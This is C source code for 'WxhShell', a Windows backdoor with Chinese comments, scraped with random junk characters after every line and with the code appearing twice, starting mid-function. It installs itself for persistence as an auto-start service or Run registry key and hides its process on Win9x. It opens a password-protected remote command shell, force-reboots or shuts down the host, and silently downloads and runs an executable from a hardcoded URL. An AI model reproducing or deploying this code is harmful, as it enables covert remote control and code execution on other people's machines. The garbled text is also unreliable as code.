    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6EY 0Fjsi  
    if(Boot(SHUTDOWN)) nBd(p Oe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >TGc0 z+  
    else { k/U rz*O  
    closesocket(wsh); FrRUAoF O  
    ExitThread(0); A(XX2f!i  
    } }Oe4wEYN)  
    break; -g"Wi@Qr  
    } >N0L  
  // 获取shell cI6Td*vM  
  case 's': { ?:5/4YC  
    CmdShell(wsh); ( s+}l?  
    closesocket(wsh); tI0D{Xrc  
    ExitThread(0); (j%"iQD  
    break; yJw.z#bB#  
  } sVlQ5M oo(  
  // 退出 #|V)>")  
  case 'x': { U $=Z`^<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fn5!Nr ,  
    CloseIt(wsh); SJ,];mC0  
    break; D;:p6q}hT  
    } l?X)]1  
  // 离开 P#:nXc$  
  case 'q': { 9*s:Vff{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yru,YA   
    closesocket(wsh); *aYuuRx  
    WSACleanup(); 6 ZXRb  
    exit(1); a!j{A?7Kw.  
    break; Z0 c|;  
        } ;b|=osyT\  
  } n "I{aJ]K  
  } j\@&poJ(,  
'O 7>w%#  
  // 提示信息 i_y%HG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n&Q0V.  
} DRVvC~M-,  
  } n482?Wp  
Rd@?2)Xm  
  return; *]Eyf")  
} sZ"(#g;3<  
gP ^A  
// shell模块句柄 |lIgvHgg  
int CmdShell(SOCKET sock) B;<zA' 1  
{ a3[,3  
STARTUPINFO si; e[QEOx/-h2  
ZeroMemory(&si,sizeof(si)); #=ko4?Wr(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;|,*zD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K7,Sr1O `  
PROCESS_INFORMATION ProcessInfo; y=}o|/5"  
char cmdline[]="cmd"; ]0")iY_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h.xtkD)Y~  
  return 0; N.V5>2  
} _!yUr5&,Br  
+^$E)Ol  
// 自身启动模式 G1SOvdq  
int StartFromService(void) h\6 t\_^\  
{ 0<Rq  
typedef struct Q^'xVS_.  
{ ^ b{~]I  
  DWORD ExitStatus; > =Na,D  
  DWORD PebBaseAddress; Ibv`/8xh  
  DWORD AffinityMask; p3IhK>  
  DWORD BasePriority; )|&FBz;  
  ULONG UniqueProcessId; Q*9Y.W.8  
  ULONG InheritedFromUniqueProcessId; ?{1& J9H  
}   PROCESS_BASIC_INFORMATION; #_'^oGz`  
h\|T(597.  
PROCNTQSIP NtQueryInformationProcess; >4?735f=x  
6"2IV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8&y#LeM1TT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W#L/|K!S  
T9YrB  
  HANDLE             hProcess; s[t?At->  
  PROCESS_BASIC_INFORMATION pbi; rL/H{.@$`  
`Js"*[z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Uc/ r>u9  
  if(NULL == hInst ) return 0; C)&BtiUN/  
=]LAL w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eB<R"Yvi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EuKkIr/(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =BO>Bi&&  
C:vVFU|4  
  if (!NtQueryInformationProcess) return 0; |cl*wFm|3  
/b."d\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3oPyh $*  
  if(!hProcess) return 0; `dgZ`#  
1+Q@RiW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S0lt _~  
XrGP]k6.^  
  CloseHandle(hProcess); 2zkO s:  
\| 'Yuh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D0X!j,Kc  
if(hProcess==NULL) return 0; cJ'OqV F  
)D7/[zb^  
HMODULE hMod; ( $,qxPOn  
char procName[255]; N@I=X-7nh|  
unsigned long cbNeeded; TV?MB(mN  
ey`E E/WV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;y-sd?pAk  
|0VZ1{=*  
  CloseHandle(hProcess); +-Z `v  
Bh65qHQO  
if(strstr(procName,"services")) return 1; // 以服务启动 E_#?;l>  
rs0Wy  
  return 0; // 注册表启动 lB   
} RVh{wg  
Lwo9s)j<e  
// 主模块 V=H:`n3k  
int StartWxhshell(LPSTR lpCmdLine) Bm +Ca:p%  
{ ,Y7QmbX^  
  SOCKET wsl; 5jsZJpk$  
BOOL val=TRUE; wB"`lY   
  int port=0; C/q!!  
  struct sockaddr_in door; 3]pHc)p!.  
se29IhS!e  
  if(wscfg.ws_autoins) Install(); #l!nBY~  
[6\b(kS+  
port=atoi(lpCmdLine); sL#MYW5E  
,:qk+  
if(port<=0) port=wscfg.ws_port; {n(/ c33  
9`7>" [=P  
  WSADATA data; di37   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c'wU$xt.w  
"-Wb[*U;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f7&9IW`7F^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {=ATRwUL  
  door.sin_family = AF_INET; (P-$tHt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y N,grU(  
  door.sin_port = htons(port); @iN"]GFjS  
-]Q\G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YRU95K [  
closesocket(wsl); H'&[kgnQ@  
return 1; /25Ay  
} s133N?  
0xfF  
  if(listen(wsl,2) == INVALID_SOCKET) { 7\yh<?`V8  
closesocket(wsl); k +Cwnp  
return 1; &"^U=f@v  
} `7R-2 w<b?  
  Wxhshell(wsl); b8glZb*$  
  WSACleanup(); gKtgW&PYm  
=X7_!vSv  
return 0; WJN) <+d  
#Sg"/Cc  
} Yh; A)N p  
R1(3c*0f  
// 以NT服务方式启动 E@4/<;eKK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .sD=k3d  
{ ~nApRC)0  
DWORD   status = 0; S1U[{R?,  
  DWORD   specificError = 0xfffffff; w[AL'1s]  
]88qjKL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $dG:29w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U_WO<uhC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IRTD(7"oyp  
  serviceStatus.dwWin32ExitCode     = 0; wZWAx  
  serviceStatus.dwServiceSpecificExitCode = 0; ;RYIc0%  
  serviceStatus.dwCheckPoint       = 0; DKF '*  
  serviceStatus.dwWaitHint       = 0; 5<YL^m{/L  
&d\ y:7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *q+X ?3  
  if (hServiceStatusHandle==0) return; "<LWz&e^^  
Zpz3 ?VM(  
status = GetLastError(); ilAhw4A  
  if (status!=NO_ERROR) d0;?GQYn:  
{ V)P8w#,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %< `D' V@  
    serviceStatus.dwCheckPoint       = 0; 9dWz3b1[]  
    serviceStatus.dwWaitHint       = 0; `\f 3Ij,  
    serviceStatus.dwWin32ExitCode     = status; 9*r^1PRc  
    serviceStatus.dwServiceSpecificExitCode = specificError; U>DCra;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uF<?y0t  
    return; ~0@fK<C)O  
  } A WJA?  
QQv%>=_`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <T&v\DN  
  serviceStatus.dwCheckPoint       = 0; '.&Y)A6!  
  serviceStatus.dwWaitHint       = 0; D}Sww5ZmP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Q_ Dd  
} <. *bJ  
l>KkAA  
// 处理NT服务事件,比如:启动、停止 '.k'*=cq0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^b.#4i (v  
{ 6[S IDOp*^  
switch(fdwControl) b`@J"E}  
{ 7VL|\^Y`q  
case SERVICE_CONTROL_STOP: na"!"C s3  
  serviceStatus.dwWin32ExitCode = 0; T"<)B^8f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Gy:T47T\@  
  serviceStatus.dwCheckPoint   = 0; 'u~0rMe4})  
  serviceStatus.dwWaitHint     = 0; @0d"^  
  { MzDosr3:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5{ bc&?"  
  } O8 SE)R~  
  return; _ j`tR:  
case SERVICE_CONTROL_PAUSE: SZ}=~yoD(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k81%$E  
  break; 5DVYHN9c|  
case SERVICE_CONTROL_CONTINUE: b` va\ '&3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~]q>}/&YLo  
  break; n 4y]h  
case SERVICE_CONTROL_INTERROGATE: fP\q?X@]E  
  break; 8KYIHw  
}; 8QoxU" c&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x0WinLQ  
} gY8$Rk %  
.ws86stFSb  
// 标准应用程序主函数 /(.:l +[w[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) : ]+6l  
{ } `5k^J$x  
tym:C7v%~  
// 获取操作系统版本 5n{d jP  
OsIsNt=GetOsVer(); : ^("L,AF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M:b#">M  
cqSXX++CS,  
  // 从命令行安装 _{-[1-lN5_  
  if(strpbrk(lpCmdLine,"iI")) Install(); dDIR~ !T  
]!&$&t8.  
  // 下载执行文件 G]4Ca5;Z!N  
if(wscfg.ws_downexe) { m(*rMO>_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o]RZd--c<  
  WinExec(wscfg.ws_filenam,SW_HIDE); b $J S|  
} mEsb_3?#+  
D:f=Z?L)>  
if(!OsIsNt) { Od)y4nr3~  
// 如果时win9x,隐藏进程并且设置为注册表启动 X%3?sH  
HideProc(); H!&_Tv[  
StartWxhshell(lpCmdLine); Tjhy@3  
} cR_pC 9z  
else F"UI=7:o  
  if(StartFromService()) 6dV )pJd  
  // 以服务方式启动 R TpNxr{[  
  StartServiceCtrlDispatcher(DispatchTable); P^Owgr=Y  
else -0x Q'1I  
  // 普通方式启动 x7U=1y(  
  StartWxhshell(lpCmdLine); XbB(<\0+  
P_w4 DU  
return 0; \~"Ub"~I  
} 8B:y46  
o~)o/(>ox  
"ayV8{m^3  
V~ORb1  
=========================================== mfN'+`r  
5af0- hj  
brs`R#e \  
IEMa/[n/  
-v.\W y~\  
&i(Ip'r  
" 5l 3PAG  
]B?M3`'>  
#include <stdio.h> Hd\V?#H  
#include <string.h> .<F46?HS  
#include <windows.h> `SsoRPW&$  
#include <winsock2.h> 7XK0vKmW3  
#include <winsvc.h> 8hD[z}  
#include <urlmon.h> e-`.Ht  
tP7<WGHd/  
#pragma comment (lib, "Ws2_32.lib") t15{>>f4>  
#pragma comment (lib, "urlmon.lib") 0B7G:X0  
 d]`6N  
#define MAX_USER   100 // 最大客户端连接数 L_RVHvA=M/  
#define BUF_SOCK   200 // sock buffer jr?/wtw  
#define KEY_BUFF   255 // 输入 buffer HFZ'xp|3dn  
9`*Eeb>  
#define REBOOT     0   // 重启 {0Y6jk>I  
#define SHUTDOWN   1   // 关机 $_E.D>5^%7  
k#Sr;"  
#define DEF_PORT   5000 // 监听端口 &h I!mo  
+tT"  
#define REG_LEN     16   // 注册表键长度 } &B6  
#define SVC_LEN     80   // NT服务名长度 ypx~WXFK  
W.MZN4=  
// 从dll定义API [ gMn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e;"J,7@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  E|"SM A,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KE~Q88s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YHQ]]#'  
1+uZF  
// wxhshell配置信息 CTRUr"  
struct WSCFG { r)pt(*KHo  
  int ws_port;         // 监听端口 ?$ e]K/*  
  char ws_passstr[REG_LEN]; // 口令 in<.0v9w  
  int ws_autoins;       // 安装标记, 1=yes 0=no peO@ZKmM  
  char ws_regname[REG_LEN]; // 注册表键名 :5,~CtF5 `  
  char ws_svcname[REG_LEN]; // 服务名 y>aO90wJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1 >j,v+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *k62Qz3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u,So+%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *VsVCUCz5*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RI&O@?+U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q_0+N3  
FL^ _)`  
}; z&amYwQcI  
9 A ?{}c  
// default Wxhshell configuration =wdh# {  
struct WSCFG wscfg={DEF_PORT, t.28IHJ  
    "xuhuanlingzhe", U 5J _Y  
    1, LJ/He[r|[  
    "Wxhshell", W3tin3__  
    "Wxhshell", N7_eLhPt*8  
            "WxhShell Service", :^3) [.m  
    "Wrsky Windows CmdShell Service", ;rT'~?q  
    "Please Input Your Password: ", ly17FLJ].  
  1, p|t" 4HQ  
  "http://www.wrsky.com/wxhshell.exe", `xLsD}32  
  "Wxhshell.exe" GHcx@||C?  
    }; TjTG+uQ  
>,{s Fc  
// 消息定义模块 Q^Cm3|ZO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BqNeY<zB*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,SR7DiYg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dgkS5Q$/  
char *msg_ws_ext="\n\rExit."; k56Qas+3=  
char *msg_ws_end="\n\rQuit.";  n?EgC8b9  
char *msg_ws_boot="\n\rReboot..."; KUUA>'=  
char *msg_ws_poff="\n\rShutdown..."; =#V^t$  
char *msg_ws_down="\n\rSave to "; Z)`)9]*  
g8##Be  
char *msg_ws_err="\n\rErr!"; 51q|-d  
char *msg_ws_ok="\n\rOK!"; u]IbTJ'  
_Hv+2E[4Z  
char ExeFile[MAX_PATH]; PR.3EL  
int nUser = 0; 4=([v;fc  
HANDLE handles[MAX_USER]; Q%JI-&K  
int OsIsNt; [P`e @$  
mZR3Hl$  
SERVICE_STATUS       serviceStatus; 2e1KF=N+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6WY/[TC-  
sE% $]Jp  
// 函数声明 Z v@nK%#J  
int Install(void); ,I jZQ53q~  
int Uninstall(void); qgrJi +WZ  
int DownloadFile(char *sURL, SOCKET wsh); 0hemXvv1  
int Boot(int flag); 90<g=B  
void HideProc(void); {-\U)&6#v  
int GetOsVer(void); MNd\)nX  
int Wxhshell(SOCKET wsl); q*&R&K;q  
void TalkWithClient(void *cs); ~(^P(  
int CmdShell(SOCKET sock); a_>|Ny6{  
int StartFromService(void); N;g@lyo  
int StartWxhshell(LPSTR lpCmdLine); ^?VQ$o2  
`pfIgryns  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *U[yeE].  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }mj9$=B4  
'>"{yi-  
// 数据结构和表定义 ]u|fLK.|  
SERVICE_TABLE_ENTRY DispatchTable[] = ]y0Y(  
{ }<04\t?  
{wscfg.ws_svcname, NTServiceMain}, SndR:{  
{NULL, NULL} ODxZO3  
}; >NKJ@4Y  
x s{pGQ6Q  
// 自我安装 ?R)]D:`  
int Install(void) P1-eDHYw  
{ bC<W7qf]}  
  char svExeFile[MAX_PATH]; HT;^u"a~  
  HKEY key; ]3_b3@k  
  strcpy(svExeFile,ExeFile); +X=*>^G(-  
dz_S6o ]  
// 如果是win9x系统,修改注册表设为自启动 R*[sO*h\k  
if(!OsIsNt) { l[/`kK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ox+5?>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cV+?j}"*+  
  RegCloseKey(key); L^sjV/\oW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *LEy# N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oACAC+CP  
  RegCloseKey(key); CxF d/X,  
  return 0; yH/A9L,Z  
    } .e~"+Pe6b  
  } UT<e/  
} 5RP kAC  
else { .{V"Gn9!  
yix[zfQt0  
// 如果是NT以上系统,安装为系统服务 6zi>Q?] 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sey,J5?  
if (schSCManager!=0) \vA*dQ-  
{ a`!Jq'  
  SC_HANDLE schService = CreateService "n%s>@$  
  ( xa~]t<2  
  schSCManager, X94a  
  wscfg.ws_svcname, mJSfn"b}K  
  wscfg.ws_svcdisp, :$WO"HfMSn  
  SERVICE_ALL_ACCESS, 'FErk~}/4s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uR0UfKK  
  SERVICE_AUTO_START, b[74$W{  
  SERVICE_ERROR_NORMAL, {X!OK3e  
  svExeFile, /WuYg OI  
  NULL, xlI =)ak{  
  NULL, PF%-fbh!~  
  NULL, 5C Dk5B_  
  NULL, K zWo}tT  
  NULL 'R 7 \  
  ); U2 *ORd  
  if (schService!=0) (\AN0_  
  { --5F*a{R|  
  CloseServiceHandle(schService); "_{NdV|a  
  CloseServiceHandle(schSCManager); /I%z7f91O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n4K!Wv&u  
  strcat(svExeFile,wscfg.ws_svcname); Rf:.'/<^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l(t&<O(m9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b#VtPn]  
  RegCloseKey(key); 3!CUJs/W  
  return 0; A8)4nOXM  
    } qe0D[L  
  } M8/a laoT  
  CloseServiceHandle(schSCManager); `/8@Fj  
} u^Q`xd1  
} 2JfSi2T  
n7Ao.b%uk-  
return 1; 7L!JP:v   
} ^""edCs  
I|@+O#  
// 自我卸载 Vj*-E  
int Uninstall(void) ^CkMk 1  
{ H"A%mrb  
  HKEY key; >e;-$$e  
]fyfL|(;  
if(!OsIsNt) { )Qbd/zd\U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XqTguO'  
  RegDeleteValue(key,wscfg.ws_regname); }p)K6!J0  
  RegCloseKey(key); @oXGa>Ru  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y}?8  
  RegDeleteValue(key,wscfg.ws_regname); ula-o)S  
  RegCloseKey(key); DR#" 3  
  return 0; 5 UEZpxnv  
  } 86ao{l6lC  
}  .U1wVIM  
} \x<8   
else { g)X3:=['  
(V{/8%mWc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Q@7,z=f  
if (schSCManager!=0) M(-)\~9T  
{ &uq.k{<p\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &K^0PzWWof  
  if (schService!=0) UC!mp?   
  { !_Lmrs  
  if(DeleteService(schService)!=0) { :#rP$LSYC  
  CloseServiceHandle(schService); -&Rv=q>  
  CloseServiceHandle(schSCManager); ]M?i:A$B  
  return 0; yM_/_V|G  
  } t>j_C{X1(  
  CloseServiceHandle(schService); 7({)ou x  
  } <kn 2  
  CloseServiceHandle(schSCManager); 3c<aI =$^  
} 78& |^sq  
} Y ;Ym=n'  
IskL$Y ^  
return 1; \]X.f&u  
} ;4F6 $T'I  
R/hf"E1  
// 从指定url下载文件 zoq;3a5cqB  
int DownloadFile(char *sURL, SOCKET wsh) ,Z`}!%?  
{ H/,KY/>i  
  HRESULT hr; eaw!5]huu  
char seps[]= "/"; g3^s_*A  
char *token; &YhAB\Rw  
char *file; w~3X m{  
char myURL[MAX_PATH]; p Cz6[*kC  
char myFILE[MAX_PATH]; {U5sRM|I  
pBsb>wvej  
strcpy(myURL,sURL); e" v%m 'G  
  token=strtok(myURL,seps); i5e10@Q{  
  while(token!=NULL) :'%6  
  { 'Y?-."eKh  
    file=token; v">?`8V  
  token=strtok(NULL,seps); xR+vu>f  
  } N`8K1{>BH  
]2AOW}=  
GetCurrentDirectory(MAX_PATH,myFILE); @Z5q2Q  
strcat(myFILE, "\\"); &^=Lr:I  
strcat(myFILE, file); s QDgNJbU  
  send(wsh,myFILE,strlen(myFILE),0); T4eJ:u*;  
send(wsh,"...",3,0); WogUILB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c{q+h V=  
  if(hr==S_OK) .3 EZk86  
return 0; ,KY;NbL-Jp  
else k8gH#ENNK  
return 1; E|O&bUMh  
At7!Pas#@g  
} ]N>ZOV,>  
 |$Yk)z3  
// 系统电源模块 sI>w#1.m/&  
int Boot(int flag) DE(XS zX  
{ >M<3!?fW)  
  HANDLE hToken; 4_#$k{  
  TOKEN_PRIVILEGES tkp; ]7HR U6$  
2yN!yIPR  
  if(OsIsNt) { l}nVWuD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C,|&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AL]gK)R  
    tkp.PrivilegeCount = 1; j<AOC?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *D]:{#C*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L8 P0bNi  
if(flag==REBOOT) { [gW eD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H<Sn p)  
  return 0; ~ 'ZwD/!e  
} ~Ntk -p  
else { T3 w%y`K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  _){|/Zd  
  return 0; g/GI'8EMj  
} +k`L8@a3&  
  } KzHN|8 $o  
  else { Qz(D1>5I?  
if(flag==REBOOT) { )*KMU?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8JLf @C:  
  return 0; J0sD?V|{1~  
} z{XB_j6\=  
else { S_lGr k\j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fa("Gok[  
  return 0; *yZ6"  
} Ww<Y]H$xZ<  
} G(E1c"?  
`YOYC  
return 1; !HTOE@  
} {gD ED  
9o@3$  
// win9x进程隐藏模块 i?T-6{3I  
void HideProc(void) Q 3WD!Z8y  
{ +d, ~h_7!  
,,H5zmgA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VDxm|7  
  if ( hKernel != NULL ) EX)&|2w  
  { Ez1eGPVr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k+J3Kl09hM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); geQ!}zXWi  
    FreeLibrary(hKernel); d9{lj(2P  
  } teok*'b:  
J/]%zwDwS  
return; H/a gt  
} ^ :VH?I=  
C HnclT  
// 获取操作系统版本 F^l1WX6  
int GetOsVer(void) gT}H B.  
{ &xGdKH  
  OSVERSIONINFO winfo; {B$CqsvJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 86#l$QaK{  
  GetVersionEx(&winfo); Ejk;(rxI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Du_5iuMh  
  return 1; ay8]"sa  
  else TXImmkC  
  return 0; MlV(XG>'  
} c>bns/f  
b9H(w%7ucU  
// 客户端句柄模块 &}DfIP<  
int Wxhshell(SOCKET wsl) :zL)O  
{ ,{*g Q%7  
  SOCKET wsh; %A zy#m  
  struct sockaddr_in client; Ip8ml0oG  
  DWORD myID; Nd0tR3gi7  
(cj9xROx  
  while(nUser<MAX_USER) p4T$(]7  
{ !5,C"r  
  int nSize=sizeof(client); n/9afIN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (T1< (YZ  
  if(wsh==INVALID_SOCKET) return 1; V60L\?a  
Q[OwP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dIC\U  
if(handles[nUser]==0) F5?S8=i  
  closesocket(wsh); :8b'HhjM  
else 6A"$9sj6  
  nUser++; w=GMQ8  
  }  'z} t= ?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5]O{tSj  
gWj-@o\  
  return 0; B.N#9u-vW  
} ` o)KG,  
z:Am1B  
// 关闭 socket yTZev|ej@  
void CloseIt(SOCKET wsh) <rzP  
{ dN2JOyS  
closesocket(wsh); }nrjA0WN  
nUser--; +&.zwniSS  
ExitThread(0); PVb[E03  
} 0F[ f%2j  
sq$v6x sl  
// 客户端请求句柄 DI\=udN  
void TalkWithClient(void *cs) 5dj" UxH  
{ ]\*^G@HA2  
_xKn2?d8g  
  SOCKET wsh=(SOCKET)cs; w)dnmrKDZg  
  char pwd[SVC_LEN]; V 20h\(\\  
  char cmd[KEY_BUFF]; P%|~Ni_BTX  
char chr[1]; 2cCiHEL#  
int i,j; ]N'3jf`W  
UhH#> 2r_  
  while (nUser < MAX_USER) { hYoUZ'4  
jOGdq;|  
if(wscfg.ws_passstr) { <-I69`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); --$* q"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =WTSaC  
  //ZeroMemory(pwd,KEY_BUFF); XIwJhsYZ'9  
      i=0; !q\8`ss  
  while(i<SVC_LEN) { d:)#-x*h7  
@7 Ry{,A  
  // 设置超时 kcfT|@:MK"  
  fd_set FdRead; wI@87&  
  struct timeval TimeOut; 7 $y;-[E[  
  FD_ZERO(&FdRead); 4en3yA0.w  
  FD_SET(wsh,&FdRead); V'vWz`#  
  TimeOut.tv_sec=8; B=0^Rysg  
  TimeOut.tv_usec=0; Ge?Wm q>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4l 67B]o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x9YQd69  
<YvXyIs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E+]}KX:  
  pwd=chr[0]; ` -_!%m/  
  if(chr[0]==0xd || chr[0]==0xa) { 8w5}9}xF  
  pwd=0; SwOW%o  
  break; x;~:p;]J2F  
  } K1@ Pt}  
  i++; / l$enexSt  
    } rUI?{CV  
,@ '^3u  
  // 如果是非法用户,关闭 socket G*9(O:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! I:N<  
} kX8C'D4 gX  
Yw|v5/>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hl1IG !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8^>qor.]M  
/2p*uv }IP  
while(1) { ) H,Xkex  
NWf=mrS8@$  
  ZeroMemory(cmd,KEY_BUFF); }zGx0Q  
Sgi`&;PF  
      // 自动支持客户端 telnet标准   D?n6h\h\$%  
  j=0; ?Bf>G]zx  
  while(j<KEY_BUFF) { Yc[umn^K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3RaduN]  
  cmd[j]=chr[0]; AR [m+E  
  if(chr[0]==0xa || chr[0]==0xd) { xO|r<R7d7  
  cmd[j]=0; D, ")n75  
  break; W %*#rcdq  
  } rqjq}L)  
  j++; g<Z :`00|  
    } ?~o`mg  
5m1J&TZ0  
  // 下载文件 j4/[Z'5ny  
  if(strstr(cmd,"http://")) { Cx TAd[az  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R,3cJ Y_%  
  if(DownloadFile(cmd,wsh)) 1GYZ1iA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ /1/{  
  else G'JHimP2j  
